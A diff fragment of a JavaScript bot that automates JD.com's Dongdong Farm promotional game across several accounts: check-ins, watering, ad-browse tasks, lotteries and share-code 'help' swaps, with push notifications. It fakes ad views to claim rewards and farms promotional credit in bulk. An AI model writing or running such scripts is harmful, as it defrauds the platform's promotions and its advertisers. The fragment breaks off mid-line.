''; + subTitle = ''; + option = {}; + $.retry = 0; + + lnrun++; + await jdFruit(); + if (lnrun == 5) { + console.log(`访问接口次数达到5次,休息一分钟.....`); + await $.wait(60 * 1000); + lnrun = 0; + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + await doTenWaterAgain();//再次浇水 + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if ($.farmTask.gotBrowseTaskAdInit.f) { + console.log(`今天已经做过浏览广告任务\n`); + } else { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await turntableFarm()//天天抽奖得好礼 +} +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} +//浇水十次 +async function doTenWater() { + try { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const { + fastCard, + doubleCard, + beanCard, + signCard + } = $.myCardInfoRes; + /* if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } */ + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward(); //领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } + } catch (e) { + console.log(`doTenWater 任务执行异常‼️‼️`); + $.logErr(e); + } +} +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁' : fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁' : doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + + for (let lncount = 0; lncount < $.myCardInfoRes.beanCard; lncount++) { + if (totalEnergy >= 150 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + totalEnergy=totalEnergy-100; + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + break; + } + } + if ($.myCardInfoRes.beanCard>0) + return; + } + // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { + // //使用快速浇水卡 + // await userMyCardForFarm('fastCard'); + // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); + // if ($.userMyCardRes.code === '0') { + // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); + // } + // await initForFarm(); + // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + // } + // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let { timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos } = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)}`) + if (sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} +//领取额外奖励水滴 +async function getExtraAward() { + await farmAssistInit(); + if ($.farmAssistResult.code === "0") { + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length >= 2) { + if ($.farmAssistResult.status === 2) { + let num = 0; + for (let key of Object.keys($.farmAssistResult.assistStageList)) { + let vo = $.farmAssistResult.assistStageList[key] + if (vo.stageStaus === 2) { + await receiveStageEnergy() + if ($.receiveStageEnergy.code === "0") { + console.log(`已成功领取第${key + 1}阶段好友助力奖励:【${$.receiveStageEnergy.amount}】g水`) + num += $.receiveStageEnergy.amount + } + } + } + message += `【额外奖励】${num}g水领取成功\n`; + } else if ($.farmAssistResult.status === 3) { + console.log("已经领取过8好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到2个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达2个\n`; + } + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length > 0) { + let str = ''; + $.farmAssistResult.assistFriendList.map((item, index) => { + if (index === ($.farmAssistResult.assistFriendList.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } else { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + $.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } + } +} +//助力好友 +async function masterHelpShare() { + + await initForFarm(); + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + if(llhelp){ + console.log('开始助力好友') + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`${$.UserName}开始助力: ${code}`); + if (!code) continue; + if (!$.farmInfo.farmUserPro) { + console.log('未种植,跳过助力\n') + continue + } + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + NoNeedCodes.push(code); + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = 